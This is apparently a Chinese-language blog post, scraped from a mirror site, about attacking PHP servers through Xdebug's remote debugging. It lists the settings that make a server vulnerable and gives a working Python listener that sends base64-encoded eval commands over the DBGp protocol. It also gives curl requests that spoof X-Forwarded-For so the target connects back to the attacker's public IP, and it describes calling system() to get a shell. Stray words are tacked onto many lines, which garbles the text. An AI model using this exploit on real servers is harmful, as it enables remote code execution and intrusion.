xdebug插件攻擊

title: xdebug插件攻擊
date: 2017-09-30 17:08:38
tags:
前一陣忽然看到一個有關於xdebug的一個攻擊面,不得不說這個想法仍是頗有意思的.本身搭環境記錄一下.php

關於Xdebug的攻擊

剛學php的時候用的phpstorm,當時爲了動態調試,配置Xdebug配了好久,當時對這個有一個比較模糊的認識,當時以爲是在瀏覽器還有ide還有server之間是有某些數據交互的,第一次配的的時候當時ide一直監聽收不到數據,當時想要是本身能夠操做數據來測試哪裏出問題就行了,一直耿耿於懷,前一陣忽然看到一個有關於xdebug的一個攻擊面,不得不說這個想法仍是頗有意思的.python

Xdebug調試的工做流程

1.ide開始調試監聽本地9000端口shell

2.瀏覽器發送一個帶有XDEBUG_SESSION_START的請求發給服務端瀏覽器

3.服務端收到這個參數,就會通知xdebugcurl

4.xdebug收到通知了就會向來源的地址的9000端口發送一個請求phpstorm

5.ide收到請求並響應創建鏈接socket

以後就是相互通信而後調試代碼了tcp

首先Xdebug有關於遠程調試是使用的DBGp協議ide

下面是有關於通信流程的一個演示函數

利用條件

通常來講關於xdebug.remote_host這個配置默認是localhost也就是默認通信的的都是localhost,這明顯不利於咱們的利用

可是若是xdebug.remote_connect_back這個配置啓用的話xdebug.remote_host就會被忽略,並經過$ _SERVER ['HTTP_X_FORWARDED_FOR']和$ _SERVER ['REMOTE_ADDR']變量來獲取ip

還有一個就是要開啓xdebug.remote_enable,這個開關控制Xdebug是否應嘗試聯繫正在監聽主機和端口的調試客戶端

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

也就是這兩個是必要條件

利用方式

DBGp 的文檔有一些敏感的操做

1.讀文件

source -i transaction_id -f fileURI

2.eval

eval -i transaction_id - {DATA}

只須要構造請求的參數,XDEBUG_SESSION_START=xxx

還須要構造XFF頭

而後檢測服務端是否對XFF的地址的9000端口進行請求,就能夠判斷是否能夠利用,

curl 'http://localhost/1.php?XDEBUG_SESSION_START=phpstrosssm' -H "X-Forwarded-For: localhost"

利用的exp這裏之間粘貼原文章的,就是創建一個tcp的鏈接監聽9000端口而後安裝協議發送數據就能夠了

#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
    client_data = conn.recv(1024)
    print(client_data)

    data = raw_input('>> ')
    conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

利用方式就是先運行exp監聽9000端口

獲取鏈接curl 'http://localhost/1.php?XDEBUG_SESSION_START=phpstrosssm' -H "X-Forwarded-For: 你的公網ip地址"

而後exp接收到鏈接就能夠調用system函數彈shell了.

相關文章
相關標籤/搜索